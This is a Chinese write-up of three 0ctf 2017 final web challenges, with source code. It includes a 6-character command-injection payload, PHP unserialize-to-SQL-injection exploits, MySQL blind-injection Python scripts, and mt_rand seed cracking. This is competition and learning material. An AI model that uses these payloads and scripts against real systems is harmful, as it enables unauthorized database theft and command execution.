0ctf2017 final

栏目: 数据库 · 发布时间: 7年前

内容简介:0ctf2017 final

几周前刚刚从0ctf final的现场回来,虽然名词不好,但是收获很多,一直没来得及整理,今天终于整理完了…

AVATAR CENTER

题目很简单,但是刚上手的时候挺萌比的,一共两个功能。

1、修改时区,登陆注册之后有一个修改时区的功能。(盲测讲道理是没什么卵用的)

2、上传头像,这里盲测的结果是没有不会做任何处理,包括文件名和内容,但是头像内容是通过函数返回的,访问getavatar,返回文件内容,没办法找到目录在哪。

研究了一会儿发现这题被秒的差不多了,感觉有忽略的条件,于是扫端口发现2121存在ftp服务,匿名登陆上了服务器,翻了翻拿到了源码。

分析下逻辑主要是这样的。

输入时区必须为6位

if (strlen($tz) != 6) {
	$response->write("tz format error");
	return $response;
}

只要满足6位条件,那么就会传入

public function setTZ($tz){
	exec(sprintf("echo %s > %s%s/TZ", $tz, $this->profile_savepath, $this->getdir()));
}

执行命令

但是还有个通用的防御函数

function Security()
{
	if (filter_shell($_GET))
			die("Potential Hack");

	if ($_SERVER['REQUEST_METHOD'] === "POST") {
		if (filter_shell($_POST))
			die("Potential Hack");
	}
}

function filter_shell($var)
{
	foreach($var as $key => $value) {
		if( is_array($value) && filter_shell($value))
			return true;
		if( preg_match("/[;$`&]/i", $key . $value))
			return true;
	}
	return false;
}

对字符做了部分过滤,虽然这里没必要绕过就可以,但的确是可以绕过的,因为这句 $_SERVER['REQUEST_METHOD'] === "POST" 因为这里是全等于,所以可以通过修改request_method的大小写来绕过,导致过滤无用。

这里题目中给了提示,要用readflag命令读flag,那么这里的标准payload就是

|*/re*

由于当前目录刚好是根目录,所以6位刚好执行。

这里也可以使用 escapeshellcmd 不过滤成对的引号的方法,通过sh执行命令,也就是小m的方法,就不赘述了。

uglyweb

说实话应该不是很难的题,但是放到线下花了很多时间,思路还是不太开阔。

整个站没什么功能,除了登陆注册以外,只有两个功能,一个是send,可以给指定的用户发送消息,收到消息的可以阅读(这里存在一个xss),另一个是reset,可以重置密码。

整个题目一共有两个flag,一个flag在数据库,另一个flag在cookie中,是httponly的,由于这是两个题目,所以仔细思考一下,可以猜到两个漏洞分别是什么。

数据库中的flag一定会有一个注入漏洞,而cookie中的flag,只有admin登陆才能看到,没办法通过任何别的方式获取,除非出题人失误,否则不能会出现一个洞打两个flag的情况,所以admin的密码一定不能解开,所以必须重置admin的密码。

回到代码逻辑上来,最重要的文件有几个:

user.class.php

<?php
class User{
	var $dbTable  = 'users';
	var $sessionVariable = 'userSessionValue';
	var $tbFields = array(
		'userID'=> 'userID', 
		'login' => 'username',
		'pass'  => 'password',
		'email' => 'email',
		'active'=> 'active'
	);
	
	var $displayErrors = false;
	var $userID;
	var $userData=array();

	var $remTime = 2592000;
	var $remCookieName = 'ckSavePass';
	var $remCookieDomain = '';

	function __construct(){
		global $mysqli;
		if( !isset( $_SESSION ) ) session_start();
		$this->dbConn = $mysqli;
		if ( !empty($_SESSION[$this->sessionVariable]) )
		{
			$this->loadUser( $_SESSION[$this->sessionVariable] );
		}
		if ( isset($_COOKIE[$this->remCookieName]) && !$this->is_loaded()){
			$u = unserialize(base64_decode($_COOKIE[$this->remCookieName]));
			$this->login($u['email'], $u['password']);
		}
	}

	function login($email, $password, $remember = false, $loadUser = true {)

		$email	= $this->escape($email);
		$originalPassword = $password;
		$password = md5($password);
		$res = $this->query("SELECT * FROM `{$this->dbTable}`
		WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1",__LINE__);
		var_dump("SELECT * FROM `{$this->dbTable}`
		WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1");

		if ( $res->num_rows == 0)
			return false;
		if ( $loadUser )
		{
			$this->userData = $res->fetch_array();
			$this->userID = $this->userData[$this->tbFields['userID']];
			$_SESSION[$this->sessionVariable] = $this->userID;
		}
		if ( $remember ){
			$cookie = base64_encode(serialize(array('email'=>$email,'password'=>$originalPassword)));
			$a = setcookie($this->remCookieName, 
			$cookie,time()+$this->remTime, $base_path, $this->remCookieDomain, false, true);
		}
		return true;
	}

	function logout($redirectTo ='')
	{
		$_SESSION[$this->sessionVariable] = '';
		$this->userData = '';
		if ( $redirectTo != '' && !headers_sent()){
			header('Location: '.$redirectTo );
			exit;//To ensure security
		}
	}

	function is($prop){
		return $this->get_property($prop)==1?true:false;
	}

	function get_property($property)
	{
		if (empty($this->userID)) $this->error('No user is loaded', __LINE__);
		if (!isset($this->userData[$property])) $this->error('Unknown property <b>'.$property.'</b>', __LINE__);
		return $this->userData[$property];
	}

	function is_active()
	{
		return $this->userData[$this->tbFields['active']];
	}

	function is_loaded()
	{
		return empty($this->userID) ? false : true;
	}

	function activate()
	{
		if (empty($this->userID)) $this->error('No user is loaded', __LINE__);
		if ( $this->is_active()) $this->error('Allready active account', __LINE__);
		$res = $this->query("UPDATE `{$this->dbTable}` SET {$this->tbFields['active']} = 1 AND `activationHash`=''
		WHERE `{$this->tbFields['userID']}` = '".$this->escape($this->userID)."' LIMIT 1");
		if ($res->affected_rows == 1)
		{
			$this->userData[$this->tbFields['active']] = true;
			return true;
		}
		return false;
	}

	function insertUser($data){
		if (!is_array($data)) $this->error('Data is not an array', __LINE__);
		$data[$this->tbFields['pass']] = md5($data[$this->tbFields['pass']]);
		foreach ($data as $k => $v ) $data[$k] = "'".$this->escape($v)."'";
		$this->query("INSERT INTO `{$this->dbTable}` (`".implode('`, `', array_keys($data))."`) VALUES (".implode(", ", $data).")");
		return $this->dbConn->insert_id;
	}

	function randomPass($length=10, $chrs ='1234567890qwertyuiopasdfghjklzxcvbnm'){
		for($i = 0; $i < $length; $i++) {
			$pwd .= $chrs{mt_rand(0, strlen($chrs)-1)};
		}
		return $pwd;
	}

	function query($sql, $line ='Uknown')
	{
		$res = $this->dbConn->query($sql);
		if ( !$res )
			$this->error($this->dbConn->error, $line);
		return $res;
	}

	function loadUser($userID)
	{
		$res = $this->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['userID']}` = '".$this->escape($userID)."' LIMIT 1");
		if ( $res->num_rows == 0 )
			return false;
		$this->userData = $res->fetch_array();
		$this->userID = $userID;
		$_SESSION[$this->sessionVariable] = $this->userID;
		return true;
	}

	function findUser($username)
	{
		$res = $this->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['login']}` = '".$this->escape($username)."' LIMIT 1");
		if ( $res->num_rows == 0 )
			return false;
		return $res->fetch_array()['userID'];
	}

	function escape($str)
	{
		if (is_array($str))
		{
			$str = array_map([&$this, 'escape'], $str);
			return $str;
		}
		else if (is_string($str))
		{
			return $this->dbConn->real_escape_string($str);
		}
		else if (is_bool($str))
		{
			return ($str === false) ? 0 : 1;
		}
		else if ($str === null)
		{
			return 'NULL';
		}
		return $str;
	}

	function error($error, $line ='', $die = false){
		if ( $this->displayErrors )
			echo '<b>Error: </b>'.$error.'<br /><b>Line: </b>'.($line==''?'Unknown':$line).'<br />';
		if ($die) exit;
		return false;
	}
}
message.class.php

<?php
class Message{

	var $msg = "";
	var $from = "";
	var $to = "";
	var $id = -1;

	function __construct($from, $to, $msg, $id=-1){
		global $mysqli;
		$this->from = $from;
		$this->to = $to;
		$this->msg = $msg;
		$this->id = $id;
	}

	function __toString(){
		return $this->msg;
	}

}

class MessageManager{
	function __construct(){
		global $mysqli;
		$this->dbConn = $mysqli;
	}

	function send($message){
		$sql = "INSERT INTO `message`(`from`, `to`, `msg`)VALUES('".$this->escape($message->from)."', '".$this->escape($message->to)."', '".$this->escape($message->msg)."')";
		$this->dbConn->query($sql);
		return $this->dbConn->insert_id;
	}

	function all($to){
		$sql = "SELECT * FROM `message` WHERE `read`=0 and `to`='".$this->escape($to)."'";
		$res = $this->dbConn->query($sql);
		$result = array();
		while($res && $message = $res->fetch_array()){
			$result[] = new Message($message['from'], $message['to'], $message['msg'], $message['id']);
		}
		return $result;

	}

	function one($to, $id){
		$sql = "SELECT * FROM `message` WHERE `read`=0 and `to`='".$this->escape($to)."' and `id`=".intval($id);
		$res = $this->dbConn->query($sql);
		$result = null;
		if($res && $message = $res->fetch_array()){
			$result = new Message($message['from'], $message['to'], $message['msg'], $message['id']);
		}
		return $result;

	}

	function read($id){
		$sql = "UPDATE `message` SET `read`=1 WHERE `id`=".intval($id);
		$res = $this->dbConn->query($sql);
	}

	function escape($str)
	{
		if (is_array($str))
		{
			$str = array_map([&$this, 'escape'], $str);
			return $str;
		}
		else if (is_string($str))
		{
			return $this->dbConn->real_escape_string($str);
		}
		else if (is_bool($str))
		{
			return ($str === false) ? 0 : 1;
		}
		else if ($str === null)
		{
			return 'NULL';
		}
		return $str;
	}

}

ugly01

这里的第一个flag是通过 sql 注入得到的,其实通审所有源码,不难发现代码中所有进入数据库的语句全部通过了escape函数,我们来看看escape函数

function escape($str)
	{
		if (is_array($str))
		{
			$str = array_map([&$this, 'escape'], $str);
			return $str;
		}
		else if (is_string($str))
		{
			return $this->dbConn->real_escape_string($str);
		}
		else if (is_bool($str))
		{
			return ($str === false) ? 0 : 1;
		}
		else if ($str === null)
		{
			return 'NULL';
		}
		return $str;
	}

这里过滤了数组、字符串、布尔值、还判断了是不是null,那么没有被过滤的只有一种类型了,就是类。

那么我们回顾一下代码,在登陆逻辑中有个很重要的反序列化。

if ( isset($_COOKIE[$this->remCookieName]) && !$this->is_loaded()){
	$u = unserialize(base64_decode($_COOKIE[$this->remCookieName]));
	$this->login($u['email'], $u['password']);
}

这里的email会代入login函数中,拼接进入sql语句。

function login($email, $password, $remember = false, $loadUser = true	{)

		$email	= $this->escape($email);
		$originalPassword = $password;
		$password = md5($password);
		$res = $this->query("SELECT * FROM `{$this->dbTable}`
		WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1",__LINE__);
		var_dump("SELECT * FROM `{$this->dbTable}`
		WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1");

		if ( $res->num_rows == 0)
			return false;
		if ( $loadUser )
		{
			$this->userData = $res->fetch_array();
			$this->userID = $this->userData[$this->tbFields['userID']];
			$_SESSION[$this->sessionVariable] = $this->userID;
		}
		if ( $remember ){
			$cookie = base64_encode(serialize(array('email'=>$email,'password'=>$originalPassword)));
			$a = setcookie($this->remCookieName, 
			$cookie,time()+$this->remTime, $base_path, $this->remCookieDomain, false, true);
		}
		return true;
	}

只可惜这里也会进入escape函数,那么我就要想办法代入一个类才行,再看看代码

class Message{

	var $msg = "";
	var $from = "";
	var $to = "";
	var $id = -1;

	function __construct($from, $to, $msg, $id=-1){
		global $mysqli;
		$this->from = $from;
		$this->to = $to;
		$this->msg = $msg;
		$this->id = $id;
	}

	function __toString(){
		return $this->msg;
	}

}

不难发现message中有一个tostring方法,那么思路就很清晰了。

通过设置cookie传入序列化的message类,message->tostring代入email,构成注入

<?php
  include 'message.class.php';
  $sql = new Message();
  // $sql->msg = 'ddog@ddog.c\' and (select substr(flag,1,1) from flag)=\'f\'#';\
  $sql->msg = 'ddog@123\' union select 1,"admin",1,1,1,1#';
  $payload = array(
    "email"=>$sql,
    "password"=>"23333"
  );
  echo base64_encode(serialize($payload));
?>

这是测试代码,附上exp

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import requests
import base64

# url = "http://127.0.0.1/rsctf/uglyweb/"
url = "http://192.168.201.13/"

ll = "_{}*1234567890qwertyuiopasdfghjklzxcvbnm"
# a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";s:38:"ddog@ddog.c' union select 1,2,3,4,5,6#";s:4:"from";N;s:2:"to";N;s:2:"id";i:-1;}s:8:"password";s:5:"23333";}

payload = ""

def attack(url, payload):

	u1 = url + "send.php"

	plen = len(payload)

	payload = 'a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";s:'+str(plen)+':"'+payload+'";s:4:"from";N;s:2:"to";N;s:2:"id";i:-1;}s:8:"password";s:5:"23333";}'
	# print base64.b64encode(payload)

	cookies = {'ckSavePass': base64.b64encode(payload)}

	r = requests.get(u1, cookies=cookies)

	if 'Send Message' in r.text:
		return True

	return False

flag = ""

for i in xrange(40):
	for j in ll:
		payload = "bsw6b4y5@mail.bccto.me' and (select substr(PASSWORD,"+str(i)+",1) from users limit 1)='"+j+"'#"

		if attack(url, payload):
			flag +=j
			print flag
			break

这里的第二个flag根据出题人说的话,是通过 php 的mt_rand漏洞来预测随机数,重置admin的密码,get flag2.

但是这其中有一些问题,我们写一个demo

<?php

// mt_srand(3213214212);

function gencsrftoken($length=10, $chrs ='1234567890qwertyuiopasdfghjklzxcvbnm'){
	$csrf = '';
	for($i = 0; $i < $length; $i++) {
		$csrf .= $chrs{mt_rand(0, strlen($chrs)-1)};
	}
	return $csrf;
}

print gencsrftoken();

?>

获得token后,算出随机的数

s= "0gdfzw0lcz"
chr = "1234567890qwertyuiopasdfghjklzxcvbnm"


for i in s:
	# print i
	print str(chr.index(i))+" "+str(chr.index(i))+" 0 35",

然后使用计算随机数种子的工具

http://www.openwall.com/php_mt_seed/README

但是出了一些问题,如果我不指定随机数的种子,这个种子就不可被计算

lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed222203531310351919035232303533330352020035272703544035313103533035
Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36
Found 0, trying33554432- 67108863, speed15606712seeds per second ^C
lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed990351616035191903512120351111035161603520200351313035550352020035
Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36
Found 0, trying4261412864- 4294967295, speed20581564seeds per second 
Found 0
lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed990352424035222203523230352929035111103599035282803531310352929035
Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36
Found 0, trying4261412864- 4294967295, speed20432551seeds per second 
Found 0

只有在被指定的情况下,才能跑出种子….出题的大佬说他没测试过题目…

luckygame

题很难,而且完成的要求非常苛刻,这里一步步的解决。

首先是源码

<?phpsession_start();?>
<!DOCTYPE html>
<html>
<head>
    <title>Lucky Game</title>
    <linkrel="stylesheet"href="https://fonts.googleapis.com/css?family=Raleway:200">
    <linkhref="https://fonts.googleapis.com/css?family=Noto+Sans"rel="stylesheet">
    <linkrel="stylesheet"href="https://unpkg.com/purecss@0.6.2/build/pure-min.css"integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD"crossorigin="anonymous">
    <linkrel="stylesheet"href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css">
    <style>
    .header{font-family: 'Noto Sans', sans-serif;}
    .header h1{color: rgb(202, 60, 60);}
    .button-error {background: rgb(202, 60, 60);}
    .button-success {background: rgb(28, 184, 65);}
    </style>
</head>
<body>
<divid="layout">
<divid="menu">
    <divclass="pure-menu">
        <aclass="pure-menu-heading"href="#">TCTF</a>
    </div>
</div>
<divid="main">
    <divclass="header">
        <h1>幸运数字</h1>
        <h2>Shall we play a "lucky" game?</h2>
    </div>
<divclass="content">
<?php

ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);

// require 'config.php';
if (!$link=mysqli_connect('localhost', 'root', '')) die('Connection error');
if (!mysqli_select_db($link,'luckygame')) die('Database error');

$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);


# CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));


foreach($_POST as $k => $v){
    if(!empty($v) && is_string($v))
        $_POST[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_POST[$k]);
}

foreach($_GET as $k => $v){
    if(!empty($v) && is_string($v))
        $_GET[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_GET[$k]);
}


function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

function register($username,$password){
    global $link;
    $q = sprintf("INSERT INTO users VALUES (NULL,'%s',md5('%s'),10)",
        filter($username),filter($password));

    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    return TRUE;
}

function login($username,$password){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
        filter($username),filter($password));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    if(count($result)>0){
        $_SESSION['id'] = $result['id'];
        $_SESSION['user'] = $result['username'];
        return TRUE;
    } else {
        unset($_SESSION['id'],$_SESSION['user']);
        return FALSE;
    }
}

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);
    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

function my_point(){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

switch(@$_GET['action']){
    case 'register':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            if(!register($_POST['user'],$_POST['pass']))
                die("<aside>Something went wrong!</aside>");
        break;
    case 'login':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            login($_POST['user'],$_POST['pass']);
        break;
    case 'logout':
        unset($_SESSION['user'],$_SESSION['id']);
        break;
    default:
        break;
}

if(empty($_SESSION['user'])){
    echo <<<EOF
        <form action="?action=register" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username" />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary">Register</button>
            </fieldset>
        </form>

        <form action="?action=login" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username"  />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary button-success">Login</button>
            </fieldset>
        </form>
EOF;
    die();
}

$points = my_point();

if($points == 1337){
    user_log('winner');
    echo "<h3>Well played, we will give you a reward soon.</h3>";
}

echo <<<EOF
    <h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
    <h2>You got {$points} points</h2>
    <form method=GET class="grid-panel pure-form-aligned pure-form">
                    <div class="bet-control pure-control-group">
                        <label for="bet-input">
                            Your bet
                        </label>
                        <input name="bet" id="bet-input" data-content="bet-input"
                               type="number" min="0" max="16" value=1>

                    </div>

                    <div class="guess-control pure-control-group">
                        <label for="guess-input">
                            Your guess
                        </label>
                        <input name="guess" id="guess-input" data-content='guess-input'
                               type="number" min="0" value=1>
                    </div>
        <button type="submit" class="pure-button pure-button-primary button-error">Place</button>
    </form>

EOF;

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}

mysqli_close($link);
?>

</div>
</div>
</div>
</body>
</html>

先顺序看一遍,很容易发现在注册然后登陆,在获取my_point的时候。

function my_point(){
    global $link;
    var_dump("SELECT * FROM users WHERE username = '".filter($_SESSION['user'])."'" );
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

这里从session中获取了user的值,构成了一个二次注入,但是这里有个新的问题,因为题目当中给了数据库结构,我们来看看

# CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));

user这里只有24位,这也是核心问题所在,我们没办法通过任何方式注入数据。所以我们必须想别的办法。

很快我们都能找到第二个注入在 user_log 中,通过更新分数然后进入 user_log ,这里有一个insert注入。

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    var_dump($q);
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);
    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    var_dump("Ture");
    return TRUE;
}

这下我们有两个注入点了,但是我们遇到了新的问题,如果绕过filter的判断

function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

这里的主要问题是,如何绕过对表名和列名的判断。

这里用一个黑科技,既然我们可以把admin的密码通过注入来select出来,那么问题就是如何获取这个结果,这里可以使用 mysql 中的变量。

SELECT * FROM `users` WHERE username = "admin" into @a,@b,@c,@d;
INSERT INTO logs VALUES (id+1,'17|Update 1e-1000' in (concat('123',1/(substr(@c,1,1)='d'))))

通过构造双语句,构造报错盲注,我们再来看看代码

if(xx){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";

如果我们构造除0错误,导致insert报错,这样这里就会直接return,如果正常就能输出 </aside> ,这样就构成了盲注。

这里使用的还是mysql的长连接特性,这样才能保证 @c 在注入的时候仍然存在。

这里我们构造username为

admin' into @a,@b,@c,@d#

然后构造bet为

1e-1000' in (concat('123',1/(substr("test",1,1)='d'))))#

最后一个坑是php的坑,由于我们在获取my_point的时候遇到了一些问题,因为题目中有个判断。

(int)$_REQUEST['bet'] > 0 

if($_REQUEST['bet'] > $points) die("What?! you're cheater!");

要满足这个条件,我们需要一些黑科技。

<?php
$a=1e-10;
var_dump((int)$a);

var_dump($a>0);
?>

当a为1e-10的时候,php的返回是这样的

D:\wamp64\www\test.php:3:int 0

D:\wamp64\www\test.php:5:boolean true

当a为1e-1000的时候,php的返回是这样的

D:\wamp64\www\test.php:3:int 0

D:\wamp64\www\test.php:5:boolean false

这样我们就可以构造出来一个既大于0,又不大于0的值,完成注入。

这里脚本用了小m的

# -*- coding: utf-8 -*-
import hashlib
from string import ascii_letters, digits
import requests
import re

url = 'http://127.0.0.1/rsctf/luckygame/'
header = {'cookie': 'PHPSESSID=jja6dabqrsgl8r43t6md3n1o14'}
flag = ''
exit_flag = False
for i in range(1, 33):
    for j in ascii_letters + digits:
        payload = "1e-1000' in (concat('123',1/(substr(@c,%d,1)='%s'))))#" % (i, j)
        while True:
            print payload
            res = requests.post(url, data={'guess':'1', 'bet':payload}, headers=header).text
            # print res
            # raw_input()
            if ('won' in res) and ('</aside>' in res):
                exit_flag = True
                print i
                flag += j
                print flag
                break;
            elif ('won' in res):
                break
            else:
                continue
        if exit_flag:
            exit_flag = False
            break;

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

免费

免费

克里斯•安德森 / 蒋旭峰、冯斌、璩静 / 中信出版社 / 2012-10 / 68.00元

一种商业模式既可以统摄未来的市场,也可以挤垮当前的市场——在我们这个现代经济社会里,这并不是一件不可能的事情。 “免费”就是这样的一种商业模式,它所代表的正是数字化网络时代的商业未来。 在《免费》这本书中,克里斯•安德森认为,新型的“免费”并不是一种左口袋出、右口袋进的营销伎俩,而是一种把货物和服务的成本压低到零的新型卓越能力。在20世纪“免费”是一种强有力的推销手段,而在21世纪它已经成为......一起来看看 《免费》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

SHA 加密
SHA 加密

SHA 加密工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具